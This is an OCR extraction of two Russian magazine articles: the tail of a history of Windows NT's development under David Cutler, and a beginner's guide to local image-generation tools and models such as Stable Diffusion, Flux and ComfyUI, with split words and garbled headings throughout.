коль ко важ ных рекомен даций для управле ния памятью, что в ито ге поз волило
повысить ско рость работы Windows NT.

ÊÀÊ ÑÎÁÈÐÀËÈ ÑÈÑÒÅÌÓ

Ко ман ды раз работ чиков и тес теров в про екте Windows NT были по раз ные
сто роны бар рикад. Тес теры находи ли баги, прог раммис ты отве чали, что в их
коде не может быть багов, тог да тес теры экс плу ати рова ли баг сно ва и сно ва,
раз работ чикам нечего было воз разить, и это зли ло их еще силь нее. Зна комая
кар тина, не так ли?

Для бил деров был отве ден вмес титель ный офис на пер вом эта же вто рого
кам пуса Microsoft. Как сле дует из наз вания, бил деры готови ли резуль тиру- 
ющий билд. Каж дый прог раммист работал над сво ей задачей — собс твен- 
ными фай лами с кодом, затем ком пилиро вал резуль тат в объ ектные фай лы,
которые отправ лял в «Билд Лаб». Уже там, соб рав пос ледние вер сии всех
необ ходимых объ ектных фай лов сис темы и под готовив нуж ные скрип ты, стар- 
ший бил дер запус кал про цеду ру лин кования. Эта про цеду ра мог ла длить ся
до 18 часов. Если она завер шалась успешно, то получа лась сбор ка опе раци- 
онной сис темы, которую в луч шем слу чае (если ник то из прог раммис тов
не накося чил и ник то из бил деров не забыл при лин ковать нуж ную либу) мож- 
но было про тес тировать.

Обыч но про цесс лин ковки запус кали на ночь, поэто му Кат лер, при дя
с утра на работу, ждал новый билд. И впа дал в ярость, если его не было.
Во вре мя дед лай нов стар ший бил дер ночевал в лабора тории, что бы ник то
не про ник внутрь. Пос коль ку, как обыч но бывало, уже пос ле начала про цеду- 
ры пос тро ения кому-либо из прог раммис тов при ходи ла в голову гени аль ная
идея внес ти изме нения в свой код и он сло мя голову бежал в «Билд Лаб», что- 
бы сде лать это. Необ ходимо было вос пре пятс тво вать это му ради готов ности
бил да к утру.

Вот еще один комичес кий слу чай, про изо шед ший во вре мя раз работ ки
Windows NT. Ког да коман да Undead реали зова ла вывод изоб ражений —
битовых обра зов на экран, пер вая кар тинка, которую они вывели пос редс- 
твом NT, была фотог рафия обна жен ной жен щины. Конеч но, муж ской час ти
сот рудни ков Microsoft это показа лось забав ным, но в кор порации работа ли
и дамы, одной из которых это очень не пон равилось. Она сооб щила об этом
гла ве гра фичес кого отде ла Вит меру, но тот отмахнул ся. Тог да она доложи ла
о слу чив шемся самому высоко му началь ству, пос ле чего бит мап был
заменен.

В пос ледние месяцы перед релизом, ког да коман да уже пра вила баги,
не вно ся в сис тему новой фун кци ональ нос ти, в кон це каж дой рабочей недели
на коман дном соб рании Дэвид Кат лер дарил фут болку с над писью Zero Bugs
прог раммис там, испра вив шим все баги в сво ем коде. Тем самым он ста рал- 
ся под нять коман дный дух, к тому же сра зу ста нови лись вид ны те, кто еще не
испра вил все баги.

Î ÄÝÂÈÄÅ ÊÀÒËÅÐÅ

От дель но сто ит отме тить взрыв ной харак тер Кат лера. Разоз лившись, он
говорил сво им сот рудни кам: Your ass like a grass and I’m a lawn mower («Твоя
зад ница как тра ва, а я — газоно косил ка»). Руково дить прог раммис тами всег- 
да тяжело. В порыве ярос ти он бил кулаком сте ну; о при чинен ных кому-либо
увечь ях Захари не сооб щает.

Дэ вид Кат лер, Microsoft Corporation

Сот рудни ки Microsoft вспо мина ют, что Дэвид мно го работал. Меж ду тем его
труд хорошо опла чивал ся: за три пер вых года работы в Microsoft Дэйв купил
два рос кошных особ няка на берегу озе ра Вашин гтон, что вбли зи Сиэт ла.
Кро ме того, он умел отды хать: на канику лы уез жал на гор нолыж ные курор ты,
учас тво вал в авто мобиль ных гон ках.

За хари рас ска зыва ет о том, как Кат лер праз дно вал свое 50-летие 13 мар- 
та 1992 года. Мое вос питание не поз воля ет опи сывать, в каких нарядах
заяви лись некото рые гос ти. Любопыт но, что Билл Гей тс не был приг лашен
на тор жес тво. В качес тве подар ка друзья при тащи ли VAX — мини-компь ютер
десяти лет ней дав ности раз мером со шкаф. На нем работа ла опе раци онная
сис тема, раз работан ная Кат лером в DEC, — VMS. К сло ву, мно гие успешные
механиз мы, реали зован ные Дэй вом и ком пани ей в этой сис теме, были внед- 
рены в NT. Имен но из-за это го впос ледс твии появи лись тре ния меж ду
Microsoft и DEC, но они были бла гопо луч но ула жены.

ÐÅËÈÇ

Спус тя поч ти пять лет пос ле начала раз работ ки, 27 июля 1993 года, была
выпуще на пер вая вер сия опе раци онной сис темы Windows NT, по мар кетин- 
говым сооб ражени ям получив шая номер 3.1, сле дующий пос ле Windows 3.0.
Пер вая вер сия Windows NT рас простра нялась на 20 флоп пи-дис ках, а до это- 
го были выпуще ны три беты и Release Candidate на CD. Автор опи сыва ет
сует ливые под готови тель ные эта пы к показу бил да на компь ютер ных выс- 
тавках. В резуль тате всех мар кетин говых шагов общес твен ность с нетер пени- 
ем ожи дала выхода новой опе раци онной сис темы.

Для сво ей работы NT тре бова ла более мощ ных компь юте ров, чем
Windows на осно ве DOS. Ког да стан дар тным объ емом опе ратив ной памяти
было четыре мегабай та, Windows NT тре бова ла шес тнад цать. Как следс твие,
про дажи были невысо кими; спро сом поль зовались вер сии Windows, осно ван- 
ные на DOS.

На кану не релиза завер шился тест дли тель ностью в 41 час. Тест не выявил
кри тичес ких багов — showstopper’ов. Кат лер был доволен. Про цесс раз- 
работ ки сис темы NT был тяжелым, осо бен но пос ледний год. Коман да испра- 
вила приб лизитель но 30 тысяч багов, смог ла пережить стрес сы и завер шить
билд. Дэвид сел за компь ютер и написал всем чле нам коман ды сооб щение:

«

»

From: Dave Cutler To: All
NT îôè öèàëü íî âûïóùå íà â ïðî èçâîäñ òâî! 

Ïîç âîëü òå ìíå çàÿâèòü åùå ðàç — NT âûïóùå íà! 
Ýòî áûëè äîë ãèå è óïîð íûå óñè ëèÿ. Âû âñå ïðî äåëà ëè áîëü øóþ
ðàáîòó. 
Ñïà ñèáî âñåì çà âàø âêëàä, îñî áåí íî çà ïîñ ëåäíèå òðè ìåñÿöà, êîã- 
äà íàì óäà âàëîñü ïðà âèòü áîëåå 200 îøè áîê â äåíü áåç ñåðü åçíûõ
ðåã ðåññèé. 
Äëÿ äîñ òèæåíèÿ ýòî ãî ïîò ðåáîâà ëèñü áåñ ïðå öåäåí òíûå óñè ëèÿ ñî ñòî- 
ðîíû âñåõ âàñ. 
Ìû âûïîë íèëè âñё çàäóìàí íîå è ïðåâ çîøëè âñå îæè äàíèÿ!

Пос ле выпус ка пер вой вер сии Windows NT люди, учас тво вав шие в ее раз- 
работ ке, почувс тво вали некото рое опус тошение, не веря, что NT завер шена.
Столь дли тель ная раз работ ка оста вила отпе чаток в жиз ни мно гих ее учас тни- 
ков. Кто-то перешел в дру гое под разде ление внут ри кор порации, кто-то
покинул Microsoft, у дру гих появи лись семей ные проб лемы, кто-то вов се сме- 
нил мес то житель ства. Так, Вит мер — руково дитель гра фичес кого отде ла
NT — уехал в Тур цию, где жила его девуш ка. Дэвид Кат лер пос ле завер шения
NT тоже собирал ся покинуть Microsoft, не зная, в какой про ект перей ти
теперь. Но перед этим он взял недель ный отпуск и отпра вил ся в Ирландию.
Вер нувшись в Шта ты, Дэйв встре тил ся с Бил лом Гей тсом, который пред- 
ложил ему руководс тво над вновь обра зован ным отде лом для раз вития
Windows NT, в ито ге Кат лер остался в Microsoft.

Ло готип Windows 3.1

Ог лядыва ясь в прош лое, мож но сде лать вывод, что Windows NT опе реди ла
свое вре мя: обыч ные офис ные компь юте ры смог ли нор маль но под держи вать
сис тему NT толь ко к 2001 году, ког да выш ла пер вая широко рас простра нив- 
шаяся сре ди некор поратив ных поль зовате лей Windows на осно ве NT —
Windows XP. Хотя появив шаяся годом ранее Windows 2000 тоже была теп ло
встре чена в кор поратив ном сег менте, она не получи ла широко го рас- 
простра нения сре ди домаш них поль зовате лей.

http://www.t2d-dev.ru/
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Ге нери ровать кар тинки по тек сто вому опи- 
санию — прос то, но толь ко если исполь- 
зовать готовый онлай новый генера тор.
Уста новить ИИ на свой компь ютер куда
слож нее. В этой статье раз берем ся, какие
быва ют модели, чем отли чает ся Stable
Diffusion от Flux, что такое AuraFlow и что
вооб ще нуж но, что бы делать кар тинки
у себя, — без вся ких зап ретов и огра ниче- 
ний.

В этой статье я поп робовал сни зить «порог вхож дения», отве тив на самые
прос тые воп росы, которые воз ника ют прак тичес ки у всех, кто пытал ся разоб- 
рать ся в тер миноло гии генера тив ного ИИ.

ÑÒÀÒÜÈ

В «Хакере» опуб ликова на серия моих ста тей с рекомен даци ями по выбору,
уста нов ке и нас трой ке раз ных моделей. Спи сок ста тей будет попол нять ся,
как и дру гие спис ки в этом матери але.
1. Stable Diffusion XL. Генери руем кар тинки ней росетью на сво ем компь юте- 

ре
2. Stable Diffusion XL. Выбира ем модели, рефай неры, лоры и сти ли
3. ReForge. Улуч шаем кар тинки, генери руемые Stable Diffusion
4. FLUX.1 и SwarmUI. Генери руем кар тинки новой откры той моделью

×ÒÎ ÍÓÆÍÎ, ×ÒÎÁÛ ÍÀ×ÀÒÜ ÑÎÇÄÀÂÀÒÜ ÊÀÐÒÈÍÊÈ?

Те бе пот ребу ется компь ютер (желатель но — с виде окар той Nvidia), софт
и базовая модель (чек поинт). Как софт, так и модели совер шенно бес плат ны;
от тебя пот ребу ется толь ко вре мя и уси лия, что бы разоб рать ся в про цес се.

Âèäåîêàðòà
Луч ше все го с генера тив ным искусс твен ным интеллек том работа ют виде- 
окар ты Nvidia. Это не зна чит, что кар ты AMD или Intel (или даже чипы Apple
Silicon со встро енной гра фикой) сов сем нель зя исполь зовать, прос то их под- 
дер жка во мно гих прог раммах огра ниче на, и обход огра ниче ний пот ребу ет
решения допол нитель ных проб лем.

По мимо архи тек туры виде окар ты, для работы ИИ кри тичес ким парамет- 
ром явля ется объ ем выделен ной виде опа мяти (VRAM). Для ста рых моделей
дос таточ но 8–12 Гбайт; для сов ремен ных и тех, что дол жны появить ся в бли- 
жай шем будущем, нуж но уже 16–24 Гбайт. Это не зна чит, что новые модели
не запус тятся на ста рых виде окар тах, — прос то работать ИИ будет при мер но
на 30–50% мед леннее, чем если бы у виде окар ты той же модели было дос- 
таточ но памяти.

Ñîôò
Прак тичес ки весь софт для генера тив ных ИИ бес пла тен, дос тупен в исходных
кодах и работа ет в окне бра узе ра с исполь зовани ем биб лиоте ки gradio.
1. : иде аль ный про дукт для начина ющих и поль зовате лей онлай- 

новых сер висов, мак сималь но близ ко подошед ший к иде оло гии «одной
кноп ки». Под держи вает толь ко модели SDXL, зато пред лага ет авто мати- 
чес кое рас ширение зап росов локаль ной язы ковой моделью (GPT-подоб- 
ная LLM), что рез ко повыша ет раз нооб разие и кра соту сге нери рован ных
кар тинок. Прак тичес ки не тре бует уста нов ки и сов сем не тре бует нас трой- 
ки: дос таточ но рас паковать архив и запус тить. Даже модель Fooocus ска- 
чает самос тоятель но.

Fooocus

2. : клас сичес кий кон серва тив ный WebUI, апс трим

для раз нооб разных фор ков. Силь ные сто роны — ста биль ность и образцо- 
вая под дер жка пла гинов-рас ширений (в фор ках на осно ве Forge некото- 
рые рас ширения для A1111 не работа ют).

AUTOMATIC1111

3. : форк A1111 для виде окарт AMD.
В отли чие от ори гина ла, под держи вает тех нологии DirectML, тран сля тор
ZLUDA, Onnx Runtime и опти миза ции Olive.

Stable Diffusion web UI for AMDGPUs

4. : форк AUTOMATIC1111 с более высокой ско ростью работы
и опти мизи рован ным механиз мом работы с виде опа мятью. На дан ный
момент ведет ся активная раз работ ка, репози торий в ста тусе экспе римен- 
таль ного; в про дук те будут отра баты вать ся новые тех нологии —
от интерфей са gradio 4 до нового движ ка. Помимо архи тек туры Stable
Diffusion, Forge так же под держи вает Flux. Некото рые пла гины
от A1111 не будут работать, что час тично ком пенси рует ся наличи ем ряда
встро енных рас ширений, выпол няющих ана логич ные фун кции.

WebUI Forge

5. : активно раз рабаты ваемый форк опи сан ного выше WebUI

Forge. Здесь при сутс тву ют как опти миза ции Forge, так и новин ки
из AUTOMATIC1111 и ComfyUI. Сегод ня имен но этот форк работа ет
с моделя ми SD1.5/SDXL/CosXL быс трее и ста биль нее про чих. Исполь зует
ста рую вер сию gradio, поэто му сов мести мость с пла гина ми A1111 луч ше,
чем в ори гиналь ном Forge.

WebUI reForge

6. : мощ ный, рас ширя емый и отлично опти мизи рован ный про дукт

с самой широкой под дер жкой раз ных архи тек тур и тех нологий. Интерфейс
в сти ле блок-схем — не для всех, одна ко он же поз воля ет сох ранять
и исполь зовать как свои, так и  блок-схе мы в виде готовых про- 
ектов. Я не рекомен дую начинать зна комс тво с генера тив ными ИИ с этой
обо лоч ки из-за слож ности осво ения. Имен но Comfy пер вым получа ет под- 
дер жку новых архи тек тур и моделей — час то бук валь но в день их выхода.

ComfyUI

сто рон ние

7. : обо лоч ка для Comfy, напоми нающая WebUI. Сов меща ет удоб- 

ный интерфейс и «все ядность» Comfy. Об этом про дук те я 
.

SwarmUI

под робно
писал

Есть и дру гие вари анты.
1. : один из нем ногих про дук тов, работа ющих как самос тоятель ное

при ложе ние, а не через бра узер. По воз можнос тям — что-то сред нее
меж ду A1111 и Fooocus с мак сималь но удоб ным поль зователь ским
интерфей сом. Для прод винутых поль зовате лей есть режим наподо бие
Comfy.

InvokeAI

2. : надс трой ка, из которой мож но уста нав ливать раз личные

веб-интерфей сы и рулить ими.

StabilityMatrix

3. : экс клю зив ный UI для Mac/iOS. Опти маль ный софт

для чипов Apple Silicon. Под держи вает модели как Stable Diffusion, так
и Flux.

Draw Things

4. : еще один форк A1111 с под дер жкой мно жес тва моделей и архи- 
тек тур. К сожале нию, про дукт сло жен в нас трой ке, а ста биль ность работы
оставля ет желать луч шего. В сос тав фор ка вхо дит мно жес тво пре дус- 
танов ленных пла гинов.

SD.Next

5. : фак тичес ки, это ней росете вой пла гин к опен сор сно му

гра фичес кому редак тору . Поз воля ет как уда лять, дорисо вывать
и перери совы вать объ екты в самом изоб ражении, так и «рас ширять» кар- 
тинку в сто роны, убе дитель но дорисо вывая отсутс тву ющий кон тент.

Krita Diffusion

Krita

Что из это го выб рать?
Ес ли у тебя Mac, нач ни с Draw Things. Если прос тота исполь зования «из

короб ки» и качес твен ные изоб ражения даже по самым прос тым тек сто вым
зап росам для тебя важ нее рас ширя емос ти и прод винутых воз можнос тей —
ставь Fooocus. Для моделей SDXL отлично под ходят WebUI reForge
или SwarmUI; для Flux — SwarmUI или WebUI Forge. Ори гиналь ный WebUI
Forge подой дет любите лям экспе римен тировать с новей шими тех нологи ями.
Если у тебя виде окар та AMD, поп робуй форк WebUI AMDGPU.

INFO

A1111, WebUI Forge и reForge мож но уста нав- 
ливать парал лель но в раз ные катало ги. При этом
все три дис три бути ва могут исполь зовать общие
пап ки с моделя ми раз ных типов. Для это го пре- 
дус мотре ны парамет ры коман дной стро ки (файл

), такие как ,
, , 

, .

webui-user.bat --models-dir
--ckpt-dir --lora-dir --clip-models-
path --embeddings-dir

ÌÎÄÅËÈ È ÀÐÕÈÒÅÊÒÓÐÛ

Для генера тив ного ИИ раз работа но нес коль ко семей ств моделей. В рам ках
одно го семей ства может быть и единс твен ная модель (нап ример, это отно- 
сит ся к AuraFlow или Kolors), и мно жес тво моделей как изна чаль ного раз- 
работ чика, так сто рон них и даже обыч ных поль зовате лей. Нап ример,
для архи тек тур Stable Diffusion 1.5 (SD1.5) и Stable Diffusion XL (SDXL) в силу их
популяр ности и откры той лицен зии дос тупны тысячи раз нооб разных
моделей.

Àðõèòåêòóðû
Пе речис лю основные семей ства моделей.

 (Stable Diffusion 1.5): очень ста рая модель с мак сималь ным раз- 
решени ем кар тинки до апскей ла 512 на 512 точек. Нет ребова тель на
к ресур сам, ее мож но запус тить даже на очень сла бой виде окар те.
Для SD1.5 сущес тву ет огромное количес тво моделей, как обу чен ных, так
и ремик сов.

• SD1.5

 (NAI Diffusion): это — онлай новый сер вис для генера ции изоб ражений

в сти ле ани ме. В свое вре мя утеч ка внут ренней модели NAI, осно ван ной
на архи тек туре Stable Diffusion 1.5, при вела к бур ному раз витию ани- 
ме-подоб ных моделей в рам ках SD1.5. В качес тве самос тоятель ной
модели на сегод няшний день инте реса не пред став ляет, но в той или иной
мере при сутс тву ет в подав ляющем боль шинс тве ани ме-моделей SD1.5.

• NAI

: неудач ная вер сия Stable Diffusion, совер шенно зас лужен но

забытая (за ред кими исклю чени ями в виде иссле дова тель ских работ).

• SD2.0

 (Stable Diffusion XL, пре емник SD1.5): улуч шенная вер сия
SD1.5 с рабочим раз решени ем 1024 на 1024 (под держи вает ся ряд фик- 
сирован ных раз решений с раз ным соот ношени ем сто рон, но с тем же
общим чис лом пик селей). В рам ках этой архи тек туры соз даны тысячи раз- 
нооб разных моделей, как похожих на базовую модель, так и радикаль но
от нее отли чающих ся. Иде аль ный вари ант для тех, кто активно исполь зует

 (см. ниже).

• SDXL

ControlNet

 (Cosine-Continuous Stable Diffusion XL): экспе римен таль ная архи- 

тек тура и базовая модель на осно ве модифи циро ван ной архи тек туры
Stable Diffusion XL, отли чающаяся от ори гина ла рас ширен ным динами чес- 
ким диапа зоном и глу боким чер ным цве том. Соз дана в Stability AI.
По срав нению с этой моделью резуль таты «обыч ной» SDXL выг лядят блек- 
ло. Нес мотря на тех ничес кое пре вос ходс тво, на осно ве CosXL соз даны
счи таные еди ницы сто рон них моделей, что объ ясня ется как тех ничес кими
отли чиями (CosXL пока не под держи вает ся в A1111 и WebUI Forge, но под- 
держи вает ся в reForge, SwarmUI и Comfy), так и лицен зией, огра ничи- 
вающей ее ком мерчес кое исполь зование. Если захочешь поп робовать,
рекомен дую модель gtmUltimateblendXL_v25Cosxl.

• CosXL

 (модель глу боко го обу чения на осно ве SDXL): нишевая

модель, соз данная для генера ции широко го спек тра пер сонажей из ани- 
ме и вза имо дей ствий меж ду ними. Сыг рала для SDXL роль, ана логич ную
роли модели NAI для SD1.5. В отли чие от базовой модели SDXL, Pony обу- 
чена на изоб ражени ях, опи сыва емых набором стан дар тных тегов
danbooru, но поч ти пол ностью «забыла» мно жес тво кон цепций из базовой
модели. Модели LoRA для SDXL и Pony за ред кими исклю чени ями несов- 
мести мы, а фор мирова ние тек сто вых зап росов к этой модели радикаль но
отли чает ся от при выч ных зап росов SDXL. Тем не менее как ори гиналь ная
Pony Diffusion V6, так и ее мно гочис ленные про изводные пол ностью сов- 
мести мы со все ми прог рамма ми, под держи вающи ми архи тек туру Stable
Diffusion XL. Модели на осно ве Pony получи ли свой собс твен ный класс
на ресур се Civit.ai.

• Pony Diffusion

: все это — раз ные тех нологии

уско рения, поз воля ющие генери ровать изоб ражения за мень шее чис ло
шагов (как пра вило, 4–10). При исполь зовании таких тех нологий в той
или иной мере могут стра дать детали зация и раз нооб разие генери руемых
изоб ражений. В чис том виде эти тех нологии тре буют понижен ного зна- 
чения CFG (Classier Free Guidance), одна ко есть и мно жес тво «гиб- 
ридных» моделей, спо соб ных работать в уско рен ном, «нем ного уско рен- 
ном» и обыч ном режимах в зависи мос ти от парамет ров. Име ет ли смысл
качать уже «уско рен ную» базовую модель или луч ше прос то под клю чить
соот ветс тву ющую лору? Решать тебе. Интегри рован ные модели удоб нее,
а об их минусах можешь почитать в статье «

».

• LCM, Turbo, Lightning, Hyper, DMD2

Why I’m opting out: A thoughtful
perspective on Lightning merged checkpoints

: побоч ный релиз, экспе римен таль ная архи тек тура,

исполь зующая кас кад из трех ста дий (и трех суб моделей) для генера ции
изоб ражений. Лицен зия огра ничи вает ком мерчес кое исполь зование
модели. По этой при чине (а так же из-за завышен ных ожи даний к Stable
Diffusion 3) модель не получи ла раз вития и широкой под дер жки сто рон- 
ними раз работ чиками.

• Stable Cascade

 (пре емник SDXL): в нас тоящее вре мя находит ся в под- 

вешен ном сос тоянии из-за недо обу чен ности выпущен ной вер сии. Изна- 
чаль но при сутс тво вали и лицен зион ные огра ниче ния, которые потом сня- 
ли. Выход исправ ленной вер сии ожи дает ся, но сро ки неиз вес тны.

• Stable Diffusion 3

На этом модели про изводс тва Stability AI закан чива ются и начина ются
модели, раз работан ные дру гими ком пани ями.

: новая модель на осно ве архи тек туры DiT. В ее сос таве пос- 

тавля ется локаль ная язы ковая модель, бла года ря которой модель замет- 
но точ нее сле дует слож ным тек сто вым зап росам. Под держи вает ся в Forge,
ComfyUI, SwarmUI, Draw Things для Mac. Лицен зия модели огра ничи вает
ком мерчес кое исполь зование. Мак сималь ное раз решение изоб- 
ражений — 2 мегапик селя (1440 на 1440 в раз личных соот ношени ях сто- 
рон), одна ко на высоких раз решени ях может выдавать блоч ные арте фак- 
ты. Модель пред став лена как в исходном виде, так и в кван тован ных (сжа- 
тых) пред став лени ях, что поз воля ет запус тить ее даже на сла бых виде- 
окар тах с неболь шим объ емом виде опа мяти.

• FLUX.1 [dev]

Пе речис ленные ниже модели не получи ли широко го рас простра нения,
но под держи вают ся в ComfyUI/SwarmUI.

: пер спек тивная модель с откры тым исходным кодом,

которую раз рабаты вает ком пания Fal Ai. Основное пре иму щес тво
AuraFlow — мак сималь ная откры тость и прак тичес кое отсутс твие лицен- 
зион ных огра ниче ний, что дела ет ее прив лекатель ной для раз работ чиков
и поль зовате лей ИИ.  мож но онлайн на сай те раз- 
работ чика. Локаль ная работа AuraFlow под держи вает ся в Comfy
и SwarmUI, одна ко на дан ный момент модель еще не дос тигла жела емо го
уров ня качес тва; обу чение про дол жает ся. Вер сия AuraFlow 0.3 улуч шает
качес тво кар тинок, но точ ность сле дова ния зап росам пос тра дала. Сей час
ожи дает ся вер сия 0.4: раз работ чики ста рают ся выпус кать про межу точ ные
обновле ния еже месяч но.

• fal/AuraFlow

Поп робовать модель

: мощ ная модель на осно ве Next-DiT
и язы ковой модели Gemma 2B. К сожале нию, уста новить ее локаль но пока
мож но толь ко в виде отдель ного при ложе ния, про цесс уста нов ки которо го
сло жен даже по мер кам соф та с откры тым исходным кодом.

• Alpha-VLLM/Lumina-Next-SFT

: модель про изводс тва Tencent, под держи вающая, кро ме

англий ско го, китай ский язык. В Comfy под держи вает ся пос редс твом
модуля .

• HunyuanDIT

city96/ComfyUI_ExtraModels
: модель в активной раз работ ке. В Comfy под держи вает ся

пос редс твом модуля .
• PixArt Sigma

city96/ComfyUI_ExtraModels
: еще одна новая модель. В отли чие от перечис- 

ленных выше моделей, исполь зует архи тек туру U-Net (так же как и SDXL).

• Kwai-Kolors/Kolors

Ка кие из этих моделей сто ит поп робовать? Flux мож но и нуж но поль зовать ся
пря мо сей час, если поз воля ет железо. AuraFlow пред став ляет безус ловный
инте рес, но пока ско рее теоре тичес кий; модель в про цес се обу чения. Lumina
Next — очень инте рес ная, мощ ная модель, но ее уста нов ка чрез мерно слож- 
на.

 выложил под робное  (с кар тинка ми!)
моделей PixArt Sigma, Hunyuan DiT, SD3 Medium и Lumina-Next-T2I.

Поль зователь Reddit срав нение

ÁÀÇÎÂÛÅ È ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÌÎÄÅËÈ

Су щес тву ют мно гочис ленные базовые модели (чек поин ты) на осно ве
как перечис ленных выше, так и дру гих архи тек тур. Так же сущес тву ет мно жес- 
тво допол нитель ных под клю чаемых моделей (LoRA, Lycoris, DoRA), о которых
нуж но знать сле дующее: это неболь шие допол нения к базовой модели (чек- 
поин ту), работа ющие в рам ках базовой архи тек туры, для которой они соз- 
даны, и опи сыва ющие кон цепцию, стиль или пер сонажа, которых нет
в основной модели. Кро ме того, есть так называ емые тек сто вые инверсии
(embedding), которые при помощи все го одно го токена помога ют базовой
модели «най ти» ту или иную кон цепцию, если такая кон цепция есть в самой
модели. Тек сто вые инверсии, в отли чие от лор, работа ют в щадящем режиме,
реали зуя задан ные кон цепции незави симо от обще го сти ля кар тинки и не
вли яя на него.

Для начала работы тебе нуж но будет ска чать одну или нес коль ко базовых
моделей и сох ранить ее в соот ветс тву ющей пап ке. Впро чем, прак тичес ки все
веб-интерфей сы авто мати чес ки кача ют какую-то базовую модель, если ты
попыта ешь ся сге нери ровать кар тинку сра зу пос ле уста нов ки.

Èç êàêèõ ÷àñòåé ñîñòîèò áàçîâàÿ ìîäåëü
Ар хитек турно модели генера тив ного ИИ сос тоят из трех вза имос вязан ных
час тей.
1. Тек сто вый декодер. Это одна или нес коль ко (в SDXL — две, Flux — тоже

две, но дру гие) моделей, задача которых — перевод токенов из тек сто- 
вого зап роса в век торы, ука зыва ющие на коор динаты в мно гомер ном
латен тном прос транс тве. К сло ву, мер ность латен тно го прос транс тва
SDXL — 65 535. В качес тве тек сто вого декоде ра могут исполь зовать ся
CLIP (прос той тек сто вый декодер раз работ ки OpenAI, соз дателей
ChatGPT), T5 (локаль ная LLM раз работ ки Google) и дру гие. В SDXL исполь- 
зует ся пара из OpenCLIP-ViT/G и CLIP-ViT/L, пер вый из которых декоди-
рует зап росы, написан ные на естес твен ном язы ке, а вто рой — клю чевые
сло ва, перечис ленные через запятую; Flux исполь зует CLIP-ViT/L
для декоди рова ния клю чевых слов и T5xxl для работы с естес твен ными
зап росами.

2. Ос новная модель, пред став ленная сжа тыми дан ными в латен тном прос- 
транс тве. На сегод няшний день самыми популяр ными архи тек турами
для таких моделей явля ются  (исполь зует ся в SDXL, Kolors) и 

(более новая архи тек тура, которую исполь зуют поч ти все модели, вышед- 
шие пос ле SDXL). Чаще все го обу чению под верга ется имен но основная
модель; тек сто вые декоде ры и VAE, как пра вило, сто рон ние раз работ чики
не тро гают.

U-Net DiT

3. Ва риацион ный авто коди ров щик ( ) — это модель-кодек, которая

исполь зует ся для сжа тия пик сель ного изоб ражения в латен тное прос- 
транс тво и его вос ста нов ления из латен тно го прос транс тва, «про являя»
таким обра зом латен тный «негатив» ( ). Имен но VAE
отве чает за то, что бы «вытащить» сге нери рован ную кар тинку из латен тно- 
го прос транс тва в прос транс тво пик селей; эта модель ока зыва ет вли яние
на кон траст и цве топе реда чу (отто го для SDXL сущес тву ет базовый и нес- 
коль ко кас томных VAE), но не вли яет на ком позицию изоб ражения. В SDXL
исполь зуют прос тые и несовер шенные по сов ремен ным мер кам 4-каналь- 
ные VAE, тог да как SD3 и Flux исполь зуют более качес твен ный и сов ремен- 
ный 16-каналь ный VAE.

VAE

тех ничес кие детали

В чем разница между архитектурами U-Net и DiT?
U-Net работа ет как набор луп — он «сжи мает» изоб ражение, что бы выделить
важ ные детали, а затем «раз ворачи вает» его обратно, вос ста нав ливая кар- 
тинку и добав ляя детали на каж дом шаге. Это похоже на про цесс сжа тия
и рас паков ки фай ла, но с добав лени ем информа ции на каж дом шаге.

DiT — более «умный» спо соб обра бот ки дан ных. Он исполь зует тран сфор- 
меры, которые ана лизи руют кар тинку целиком, понимая, какие час ти свя заны
меж ду собой и каким обра зом. Поп робуй, нап ример, сге нери ровать кар тинку
с челове ком, который дер жит меч; модели DiT смо гут пра виль но нарисо вать
хват меча чаще, чем это смо жет сде лать модель с U-Net.

В SD1.5 и SDXL в сос тав фай ла модели могут вхо дить как все три час ти, так
и толь ко пер вые две (раз работ чики моделей, как пра вило, ука зыва ют эту осо- 
бен ность в опи сании); в пос леднем слу чае VAE нуж но под клю чать отдель но.
Для Flux сущес тву ют интегри рован ные модели, но в силу боль шого объ ема
T5xxl (а так же из-за того, что сущес тву ют раз ные пред став ления это го
декоде ра — нап ример, 8-бит ный вари ант для обыч ных и 16-бит ный
для топовых виде окарт) раз работ чики пред почита ют пуб ликовать толь ко U-
Net (на самом деле, конеч но же, DiT) отдель но. Кста ти, базовая модель
FLUX.1 [dev] была опуб ликова на имен но в таком раз дель ном виде.

Îáó÷åííûå ìîäåëè è ðåìèêñû
Ба зовые модели (чек поин ты) быва ют обу чен ные (trained) и ремик сы (merged).
Изна чаль но под разуме валось, что «обу чен ные» модели — те, которые под- 
вер глись глу боко му тюнин гу в течение нес коль ких «эпох» (цик лов обу чения
и кор рекции на одном и том же наборе дан ных), одна ко со вре менем в чис ло
обу чен ных ста ли вклю чать и модели, в сос таве которых, помимо базовой
модели или ремик са, есть хотя бы одна лора, самос тоятель но обу чен ная
авто ром. Соот ветс твен но, ремикс — это модель, в сос тав которой вхо дят
дру гие модели (обу чен ные или ремик сы) и, воз можно, лоры, соз данные дру- 
гими поль зовате лями.

У обо их клас сов моделей есть свои осо бен ности. Так, модели, обу чен ные
клас сичес ким спо собом, час то име ют шерохо ватос ти, которые мож но сгла- 
дить, добавив в микс час ти дру гих моделей. С дру гой сто роны, мно гочис- 
ленные ремик сы и ремик сы ремик сов час то стра дают от отсутс твия раз нооб- 
разия; это может выражать ся, нап ример, в том, что на всех сге нери рован ных
изоб ражени ях вмес то раз нооб разных живых людей при сутс тву ет некое
усреднен ное син тетичес кое лицо. С этим, опять же, мож но бороть ся,
добавив в ремикс нуж ные бло ки от обу чен ной модели, но мно гие соз датели
ремик сов делать это го поп росту не уме ют.

Не сто ит фик сировать вни мание толь ко на «обу чен ных» (trained) моделях:
хороших ремик сов (merged) ничуть не мень ше, и качес тво кар тинки они спо- 
соб ны выдать ничуть не хуже.

Ãäå áðàòü áàçîâûå ìîäåëè
Есть нес коль ко ресур сов, на которых пуб лику ются раз личные модели. Самый
круп ный из них — . Име ет смысл акти виро вать филь тры, что бы отоб- 
ражались толь ко базовые модели (checkpoint) тре буемой архи тек туры
или архи тек тур (нап ример, SDXL, Pony или Flux); в про тив ном слу чае тебе
при дет ся про дирать ся через десят ки тысяч все воз можных лор, соз данных
для раз ных архи тек тур.

Civit.ai

Ряд моделей пуб лику ется на сай те , в том чис ле экс клю зив но
(нап ример, кре атив ная модель ). Наконец, ресурс, на котором пуб- 
лику ются модели с откры тым исходным кодом , с которо го,
в час тнос ти, мож но ска чать кван тован ные вер сии модели , а так же кван- 
тован ные вер сии тек сто вых декоде ров .

Tensor.art
Kika_real

Hugging Face
Flux

t5
До пол нитель ные модели (LoRA, DoRA, Lycoris, а так же тек сто вые

